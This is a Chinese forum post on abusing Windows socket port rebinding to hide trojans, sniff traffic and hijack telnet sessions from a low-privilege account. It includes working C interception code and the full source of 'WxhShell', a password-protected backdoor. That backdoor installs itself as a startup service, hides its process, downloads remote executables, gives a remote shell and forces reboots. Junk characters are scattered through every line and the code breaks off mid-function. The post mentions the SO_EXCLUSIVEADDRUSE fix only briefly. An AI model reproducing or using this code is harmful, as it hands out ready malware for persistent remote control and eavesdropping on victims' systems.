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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r%wA&FQ8U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?[ly`>KpJ  
D/(L  
  saddr.sin_family = AF_INET; J )BI:]m  
-@^Zq}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j$fAq\B  
v/uO&iQw5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `T/~.`R  
LW#M@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SEQ%'E5-'  
aRj>iQaddx  
  这意味着什么?意味着可以进行如下的攻击: 50j OA#l[  
ArLvz5WV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sKLX[l  
#gQF'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rh2LGuo4m  
k'`m97B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hovGQHg  
g*\/N,"z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lJykyyCY+  
,O=a*%0rt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \8uo{#cL8  
KHKS$D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q^8EOAvnZ  
k1z$e*u&r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $ E1Tb{'  
)j6eE+gF  
  #include oC*ees g_  
  #include L^kp8o^$  
  #include +5<k-0v  
  #include    RKd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ydl jw  
  int main() W!$zXwY}(  
  { UbJ*'eoX  
  WORD wVersionRequested; Qz<d~ N  
  DWORD ret; iWXc  
  WSADATA wsaData; -y) ,Y |  
  BOOL val; /rB{[zk  
  SOCKADDR_IN saddr; )!9Ifk0KH  
  SOCKADDR_IN scaddr; >(9F  
  int err; ,7]k fB  
  SOCKET s; NQTnhiM7$  
  SOCKET sc; u'Q?T7  
  int caddsize; *E>.)B i  
  HANDLE mt; ;sdN-mb  
  DWORD tid;   !}TMiCK  
  wVersionRequested = MAKEWORD( 2, 2 ); $<@\-vYvr@  
  err = WSAStartup( wVersionRequested, &wsaData ); ]7sx;KFv  
  if ( err != 0 ) { 6,Hqb<(  
  printf("error!WSAStartup failed!\n"); 1.@vS&Y7OE  
  return -1; \ v@({nB8  
  } Z{-Lc68  
  saddr.sin_family = AF_INET; xtV[p4U  
   ,cTgR78'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "yb WDWu  
z,;;=V6j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >hMUr*j  
  saddr.sin_port = htons(23); LDT(]HJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZU'!iU|8  
  { %:6?Y%`*[  
  printf("error!socket failed!\n"); AWr}"r?s  
  return -1; =Cf ]  
  } db=$zIB[:  
  val = TRUE; qG8s;_G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r >{G`de4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,1n >U?5  
  { 2f,B$-#  
  printf("error!setsockopt failed!\n"); -xmf'c9P  
  return -1; 4 k}e28  
  } -Q e~)7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $FM' 3%B[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AG"l1wz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7l8[xV  
jdRq6U^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;Kxbg>U  
  { OTvROJP  
  ret=GetLastError(); $j` $[tX6l  
  printf("error!bind failed!\n"); ( `' 8Ww  
  return -1; 6/ g%\ka  
  } ZwI 1* f  
  listen(s,2); jrJR1npB  
  while(1) X'sEE  
  { U)jUq_LX  
  caddsize = sizeof(scaddr); g9tu %cIkR  
  //接受连接请求 Eyh|a. )-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8m=Z|"H@  
  if(sc!=INVALID_SOCKET) u4'z$>B  
  { O??vm?eo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'E]A.3-Mt  
  if(mt==NULL) Ng<1Sd|MV  
  { ~&G4)AM  
  printf("Thread Creat Failed!\n"); $`Nd?\$  
  break; '8`T|2   
  } S0w> hr  
  } MOz}Q1`a  
  CloseHandle(mt); Y)HbxFF`/  
  } W*T{,M@Y  
  closesocket(s);   -/{af  
  WSACleanup(); <HoAj"xf  
  return 0; q|#MB7e/  
  }   mMw;0/n  
  DWORD WINAPI ClientThread(LPVOID lpParam) ma8wmQ9JR  
  { S)\8|ym6!  
  SOCKET ss = (SOCKET)lpParam; 9/TY\?U  
  SOCKET sc; a<Uqyilm  
  unsigned char buf[4096]; 9w^zY ;Y  
  SOCKADDR_IN saddr; - V) R<  
  long num; 3P=w =~e  
  DWORD val; z_SagU,\  
  DWORD ret; <&#+ E%E4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -e`;bX_N)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -f>'RI95>  
  saddr.sin_family = AF_INET; I lG:X)V%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \P?ToTTV  
  saddr.sin_port = htons(23); L/r{xS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vE\lp8j+  
  { q(]f]Vl|0  
  printf("error!socket failed!\n"); Cw1( 5  
  return -1; 3{J.xWB@:  
  } Dx+ K+(  
  val = 100; =& U`9qN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |qUrEGjiSS  
  { uDG+SdyN@  
  ret = GetLastError(); )s")y  
  return -1; &sOM>^SAD  
  } E20&hc5 8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ia{kab|_5  
  { T!^Mvat  
  ret = GetLastError(); k$[{n'\@  
  return -1; 'F_}xMU  
  } }=@zj6AC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T0 |H9>M  
  { ,seFkG@1  
  printf("error!socket connect failed!\n"); c~tAvDX  
  closesocket(sc); vjK, I9  
  closesocket(ss); "DckwtG:%  
  return -1; 1bRL"{m^)-  
  } &4kM8Qh  
  while(1) R2^iSl%pj  
  { k/`i6%F#m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <MZi<Z`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'U)8rR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :m`/Q_y"  
  num = recv(ss,buf,4096,0); gue(C(~.k_  
  if(num>0) 1L[S*X  
  send(sc,buf,num,0); MW@DXbKVl  
  else if(num==0) XVUf,N,  
  break; $L{7%]7QC  
  num = recv(sc,buf,4096,0); ^ }#f()  
  if(num>0) j[DIz@^  
  send(ss,buf,num,0); a-PGW2G  
  else if(num==0) h([0,:\  
  break; ]h@{6N'oNS  
  } &BgU:R,  
  closesocket(ss); ,P@QxnQ   
  closesocket(sc); ?0J0Ij,  
  return 0 ; gMZ&,n4  
  } Z{}+)Q*Q  
dF,DiRD  
i$O#%12l  
========================================================== XiG88Kwv  
<xF?~7  
下边附上一个代码,,WXhSHELL `pYE[y+  
N(R,8GF5G  
========================================================== 3 jh|y,  
wo(j}O-  
#include "stdafx.h" +89o`u_l%  
. bG{T|  
#include <stdio.h> T Nci.']  
#include <string.h> */U$sZQ)  
#include <windows.h> 6y@<?08Q  
#include <winsock2.h> iEhDaC[e(b  
#include <winsvc.h> Yq;&F0paK  
#include <urlmon.h> MVAc8dS  
,k%8yK  
#pragma comment (lib, "Ws2_32.lib") M(S{1|,V  
#pragma comment (lib, "urlmon.lib") 7SHo%b A  
Gg+YfY_  
#define MAX_USER   100 // 最大客户端连接数 n\~yX<;X3  
#define BUF_SOCK   200 // sock buffer m|dF 30~A  
#define KEY_BUFF   255 // 输入 buffer rk|a'&  
CjZ6NAHc  
#define REBOOT     0   // 重启 '#f?#(  
#define SHUTDOWN   1   // 关机 ~~dfpW_"  
IMR$x(g= F  
#define DEF_PORT   5000 // 监听端口 nO [QcOf  
nDn{zea7  
#define REG_LEN     16   // 注册表键长度 KgU[  
#define SVC_LEN     80   // NT服务名长度 YPQCOG  
~%GSsm\J  
// 从dll定义API  * D3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WFdem/\kX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P rt#L8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JWSq"N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :wCC^Y]  
_6I>+9#C  
// wxhshell配置信息 SD I,M  
struct WSCFG { CU !.!cZ{  
  int ws_port;         // 监听端口 fW[.r==Kf  
  char ws_passstr[REG_LEN]; // 口令 .Bijc G  
  int ws_autoins;       // 安装标记, 1=yes 0=no d.1Q~&`  
  char ws_regname[REG_LEN]; // 注册表键名 g[<uwknf  
  char ws_svcname[REG_LEN]; // 服务名 ke</x+\F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |vN$"mp^a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "j;!_v>=f`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 73#9NZ R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  RA~_]Hk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F~P/*FFK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c$.T<r)Z  
P#9-bYNU  
}; JgZdS-~  
"U{mMd!9L  
// default Wxhshell configuration qZc)Sa.S  
struct WSCFG wscfg={DEF_PORT, gU*I;s>  
    "xuhuanlingzhe", >hesxC!  
    1, CY\mU_.b  
    "Wxhshell", y7 <(,uT  
    "Wxhshell", /^WE@r[:  
            "WxhShell Service", )xbqQW7%0+  
    "Wrsky Windows CmdShell Service", 7dx4~dF  
    "Please Input Your Password: ", rr6"Y&v  
  1, Z~B+*HF  
  "http://www.wrsky.com/wxhshell.exe", 1r&AB!Z #  
  "Wxhshell.exe" IT7:QEfKU  
    }; PE +qYCpP9  
)%1&/uN)  
// 消息定义模块 <#!8?o&i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,P1G ?,y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kfIbgya   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n/:Z{  
char *msg_ws_ext="\n\rExit."; D`5: JR-{  
char *msg_ws_end="\n\rQuit."; 5vl2yN  
char *msg_ws_boot="\n\rReboot..."; EID(M.G  
char *msg_ws_poff="\n\rShutdown..."; -kt1t@O  
char *msg_ws_down="\n\rSave to "; _2xuzmz0  
@u7%B}q7:  
char *msg_ws_err="\n\rErr!"; vV2o[\o^  
char *msg_ws_ok="\n\rOK!"; %hrsE5k^,  
%k~C-+  
char ExeFile[MAX_PATH]; lK 9s0t'  
int nUser = 0; csm?oUniz  
HANDLE handles[MAX_USER]; >EyvdX#v  
int OsIsNt; | eK,Td%  
~MD><w>  
SERVICE_STATUS       serviceStatus; lp 3(&p<:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a:wJ/ p  
+2f> M4q  
// 函数声明 l %]<-  
int Install(void); g!z8oPT  
int Uninstall(void); J78Qj[v  
int DownloadFile(char *sURL, SOCKET wsh); }:tAKO=+  
int Boot(int flag); FkLQBpp(x  
void HideProc(void); d u _O}x  
int GetOsVer(void); 7Co3P@@  
int Wxhshell(SOCKET wsl); 6YB-}>?  
void TalkWithClient(void *cs); ~6=Wq64  
int CmdShell(SOCKET sock); %,h!: Ec^c  
int StartFromService(void); ~p0 e=u  
int StartWxhshell(LPSTR lpCmdLine); E%KC'T N^D  
1"N/ZKF-x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 30:HRF(:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6!i( \Q*  
lb=2*dFJ1  
// 数据结构和表定义 h6K!|-Gq.  
SERVICE_TABLE_ENTRY DispatchTable[] = 6B4hSqjh  
{ <;.}WQC  
{wscfg.ws_svcname, NTServiceMain}, * N2#{eF&]  
{NULL, NULL} * , |)~$=>  
}; QLxXp  
N2M?5fF  
// 自我安装 YeR7*[l  
int Install(void) noWRYS%  
{ wK/}E h\^  
  char svExeFile[MAX_PATH]; 8kKRx   
  HKEY key; yKel|vM#  
  strcpy(svExeFile,ExeFile); @D( KuF  
8JFnB(3xU  
// 如果是win9x系统,修改注册表设为自启动 t;bZc s  
if(!OsIsNt) { & C!g(fS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |rG8E;>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UzP@{?  
  RegCloseKey(key); :"h Pg]'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m(Pz7U.Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3g4vpKg6c  
  RegCloseKey(key); *=r@vQ  
  return 0; d{(s-  
    } <<~lV5  
  } _S[Rvb1e   
} j58Dki->.  
else { PkZf(=-X  
6T5A31 Q  
// 如果是NT以上系统,安装为系统服务 %`8KG(F^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AiR%MD  
if (schSCManager!=0) c=uBT K*  
{ Zi15wE  
  SC_HANDLE schService = CreateService uk>q\j  
  ( KR+aY.  
  schSCManager, 4C2>0O<^s  
  wscfg.ws_svcname, @Wlwt+;fT  
  wscfg.ws_svcdisp, i:NJ>b  
  SERVICE_ALL_ACCESS, 1`7]C+Pv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +"*l2E]5  
  SERVICE_AUTO_START, IDL^0:eg<.  
  SERVICE_ERROR_NORMAL, y'i:%n}I  
  svExeFile, bF8xQ<i~Y  
  NULL, t(LlWd  
  NULL, 6= aBD_2@  
  NULL, mU e@Dud  
  NULL, o%9Ua9|RR  
  NULL H-PW(  
  ); 3 tx0y  
  if (schService!=0) !kjr> :)x  
  { v>yGsJnV'  
  CloseServiceHandle(schService); , .NG.Q4f  
  CloseServiceHandle(schSCManager); [7ek;d;'t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h|Teh-@A5  
  strcat(svExeFile,wscfg.ws_svcname); _ cHV3cz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dg];(c+/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 96([V|5K  
  RegCloseKey(key); 7J </7\  
  return 0; ?3KR(6D  
    } ;NN(CKZ9A  
  } 2*3B~"  
  CloseServiceHandle(schSCManager); >V ]*mS %K  
} } (O D<  
} 3HDnOl8t  
._F 6-pl  
return 1; ft. }$8vIT  
} ~L Bq5a  
VAG+y/q  
// 自我卸载 zN8&M<mTl  
int Uninstall(void) ^`B##9g~  
{ E?;T:7.%  
  HKEY key; _sCJ3ZJ  
Wtzj;GJj  
if(!OsIsNt) { $ M[}(m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R)DNFc:  
  RegDeleteValue(key,wscfg.ws_regname); 8 MACbLY  
  RegCloseKey(key); ?AM 8*w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :w&)XI34  
  RegDeleteValue(key,wscfg.ws_regname); ~*Sbn~U  
  RegCloseKey(key); dOYmt,  
  return 0; osgS?=8  
  } odn97,A  
} ^QL/m\zq@%  
} OKLggim{  
else { j@_) F^12  
JWm^RQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @{$Cv"6769  
if (schSCManager!=0) r>:7${pF  
{ M& BM,~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~jCpL@rS  
  if (schService!=0) 8BoT%kVeJv  
  { 6XxG1]84  
  if(DeleteService(schService)!=0) { h1UlLy 8  
  CloseServiceHandle(schService); KE)D =P  
  CloseServiceHandle(schSCManager); 3I{ta/(  
  return 0; )su <Ji*  
  } ^5'/ }iR2N  
  CloseServiceHandle(schService); O%q;,w{prW  
  } J#OE}xASoA  
  CloseServiceHandle(schSCManager); "}~i7NBB  
} Hr8$1I$=  
} SpTORR8  
XCi]()TZ_  
return 1; ,B/p1^;.  
} 4>wIF}\  
lVp~oZC6[  
// 从指定url下载文件 h9OL%n 7m'  
int DownloadFile(char *sURL, SOCKET wsh) 0)]C&;}_M  
{ SYW= L  
  HRESULT hr; Z!=Pc$?  
char seps[]= "/"; QGCdeE$K  
char *token; r)@&2b"q  
char *file; ("M#R!3  
char myURL[MAX_PATH]; |% YzGgp7  
char myFILE[MAX_PATH]; :,z3 :PL  
zt>_)&b  
strcpy(myURL,sURL); _*?"[TYfX  
  token=strtok(myURL,seps); P@S;>t{TD  
  while(token!=NULL) 8KELN(o$ 7  
  { 8iH;GFNJ7'  
    file=token; rjf=qh5s  
  token=strtok(NULL,seps); 2;(iTPz +  
  } /5'<w(  
vaCdfO&  
GetCurrentDirectory(MAX_PATH,myFILE); x_iy;\s1  
strcat(myFILE, "\\"); 5\kZgXWIh  
strcat(myFILE, file); Y" +1,?yH  
  send(wsh,myFILE,strlen(myFILE),0); g!) LhE  
send(wsh,"...",3,0); Kac j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V<7K!<g)b  
  if(hr==S_OK) eYSGxcx  
return 0; JW.&uV1Z  
else 6UAxl3-\  
return 1; zam0(^=  
gl\$jDC9  
} E `j5y(44  
/$.vHt 5nt  
// 系统电源模块 2WECQl=r  
int Boot(int flag) Rc.<0#  
{ }GNH)-AG)$  
  HANDLE hToken; n; '~"AG)  
  TOKEN_PRIVILEGES tkp; 'GdlqbX(%  
J ]^gF|  
  if(OsIsNt) { A%8`zR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4Z p5o`*g2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 88=FPEU  
    tkp.PrivilegeCount = 1; 8cPf0p:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PdN\0B `  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a.U:B [v`  
if(flag==REBOOT) { Gv nclnG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V7'x? pt  
  return 0; |3lAye,t)a  
} <UHWy&+z&  
else { |b@A:8ss  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M=abJ4  
  return 0; .VEfd4+ni{  
} e4H0<h }{  
  } e%0#"6}  
  else { OZ0%;Y0  
if(flag==REBOOT) { Tvw2py q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1~u\]Zi=D  
  return 0; 0]w[wc <  
} W9m[>-Ew  
else { | xI_aYv*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <WKz,jh  
  return 0; j.v _  
} Y'%I at(z  
} !J(,M)p!  
L , Fso./y  
return 1; 2u H\8A+'f  
} [_G0kiI}W"  
VP[!ji9P   
// win9x进程隐藏模块 5$Q`P',*Ua  
void HideProc(void) %c2i.E/G  
{ _p2<7x i   
VRP.tD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [gr[0aGBc  
  if ( hKernel != NULL ) iKH T  
  { Uk ;.Hrt.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (s*Uz3 sq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5)NfZN# &  
    FreeLibrary(hKernel);  y] r~v  
  } <).qe Z  
^X'7>{7Io  
return; WWD@rnsVf  
} moI<b\G@  
_7H J'  
// 获取操作系统版本 OL"5A18;M  
int GetOsVer(void) <l/Qf[V  
{ s/0FSv x  
  OSVERSIONINFO winfo; >:nJTr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R:m=HS_  
  GetVersionEx(&winfo); QD VA*6F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kV9NFo22  
  return 1; /j\TmcnU^  
  else v86`\K*0Y  
  return 0; x&b-Na3Xi  
} '=Y~Ir+  
3o/ a8  
// 客户端句柄模块 |i}g7  
int Wxhshell(SOCKET wsl) 0nnq/u^  
{ JT^0AZ_*  
  SOCKET wsh; rX}==`#\  
  struct sockaddr_in client; J0bs$  
  DWORD myID; Yaepy3F  
~'\u:Imuo  
  while(nUser<MAX_USER) gy`qEY~B&  
{ HW,55#yG  
  int nSize=sizeof(client); ZP/=R<<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F>R)~;Ja  
  if(wsh==INVALID_SOCKET) return 1; LB+=?Mz V  
%b4(wn?n:B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I;Y`rGj  
if(handles[nUser]==0) r(CL=[  
  closesocket(wsh); z{WqICnb  
else ToM*tXj  
  nUser++; yvwcXNXR@  
  } o[6"XJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XYTcG;_z  
HhH'\-[t  
  return 0; &g>+tkC  
} hG3Lj7)UH  
F4gc_>{|  
// 关闭 socket !qve1H4d2  
void CloseIt(SOCKET wsh) t4f\0`jN  
{ VO?NrKyeW  
closesocket(wsh); :?W:'% (`[  
nUser--; x"De 9SB  
ExitThread(0); `sC8ro@Fm  
} lB@K;E@r8  
swbD q  
// 客户端请求句柄 >;?97'M  
void TalkWithClient(void *cs) <2A'   
{ 7^X_tQf  
W4a20KM2  
  SOCKET wsh=(SOCKET)cs; 9oz)E>K4f  
  char pwd[SVC_LEN]; K#m o+n5-;  
  char cmd[KEY_BUFF]; V#KM~3e  
char chr[1]; SJ@_eir\o  
int i,j; p4_uY7^6  
`"4EE}eQc  
  while (nUser < MAX_USER) { e|y~q0Q$  
w Vmy`OV/  
if(wscfg.ws_passstr) { nzDY!Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mn` Ae=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HEN9D/O=  
  //ZeroMemory(pwd,KEY_BUFF); U %l{>*q  
      i=0; . C?gnOq  
  while(i<SVC_LEN) { I ]1fH  
z8MYgn 7  
  // 设置超时 \C|06Bs $  
  fd_set FdRead; e0 EJ[bG  
  struct timeval TimeOut; F4Z0g*^x  
  FD_ZERO(&FdRead); Ne_>%P|I_  
  FD_SET(wsh,&FdRead); ')<$AMy1  
  TimeOut.tv_sec=8; 5o #8DIal  
  TimeOut.tv_usec=0; _;W|iUreb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }qPo%T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,_O[; L  
+[+ Jd)Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Z&R'`kg  
  pwd=chr[0]; ;_*F [ }w  
  if(chr[0]==0xd || chr[0]==0xa) { K)OlCpHc  
  pwd=0; %Kp}Wo6  
  break; =h{2!Ah7 X  
  } dI|/Xm>  
  i++; d0 az#Yg!  
    } AQZ\Kcr  
} q(0uzaG  
  // 如果是非法用户,关闭 socket =QRZ(2Wq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZS]e}]Zwp  
} ESI}+  
D%v yO_k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wd# 6Y}:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]B||S7idq  
XF6= xD  
while(1) { IK);BN2<L  
{]]I4a  
  ZeroMemory(cmd,KEY_BUFF); ~gD]JiiA  
HY:n{= o  
      // 自动支持客户端 telnet标准   ,zaveQ~l  
  j=0; B%/Pn 2  
  while(j<KEY_BUFF) { \Qn8"I83AV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P2kZi=0  
  cmd[j]=chr[0]; huIr*)r&p  
  if(chr[0]==0xa || chr[0]==0xd) { ~ 5b %~:  
  cmd[j]=0; 107SXYdhI  
  break; EzaOg|  
  } uPPe"$  
  j++; gu!A:Q  
    } Xs/hqIXB  
K(^x)w r-:  
  // 下载文件 }2S \-  
  if(strstr(cmd,"http://")) { oCS NA.z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mtr~d  
  if(DownloadFile(cmd,wsh)) ';%g^!lM a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WjB[e>  
  else W%o){+,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x4K5  
  } FKP^f\!M  
  else { j&9~OXYv  
N INiX(  
    switch(cmd[0]) { F)G#\r  
  &knnWm"  
  // 帮助 bvG Vfr "  
  case '?': { >vhyKq|g<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iy 5  
    break; ZpyRvDz  
  } tznT*EQr  
  // 安装 RfD$@q9  
  case 'i': { Y~6pJNR  
    if(Install()) JcP'+@X"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:ytdaiT  
    else 7blZAA?-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ='FEC-f95  
    break; <~3 a aO  
    } Cnolka"  
  // 卸载 cD\Qt9EI  
  case 'r': { V-31x)  
    if(Uninstall()) <|4j<U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {BF\G%v;+  
    else  O>3'ylBQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q% "nk  
    break; m:t $&  
    } 1Sy#*  
  // 显示 wxhshell 所在路径 ,rKN/{M!  
  case 'p': { DCm;dh  
    char svExeFile[MAX_PATH]; Z7v~;JzC#  
    strcpy(svExeFile,"\n\r"); }y1M0^M-$  
      strcat(svExeFile,ExeFile); 9fiZ5\  
        send(wsh,svExeFile,strlen(svExeFile),0); DEBgb  
    break; vlD]!]V:h  
    } TsD >m  
  // 重启 v7-'H/d.  
  case 'b': { qrdI"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aj\'qRrU$  
    if(Boot(REBOOT)) ` C1LR,J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (R, eWWF8~  
    else { 4Y]`> ;w  
    closesocket(wsh); Qmrcng}P  
    ExitThread(0); #SdaTMLFf  
    } 86Rit!ih  
    break; VYwaU^  
    } s-*XAn ot  
  // 关机 >dM'UpN@  
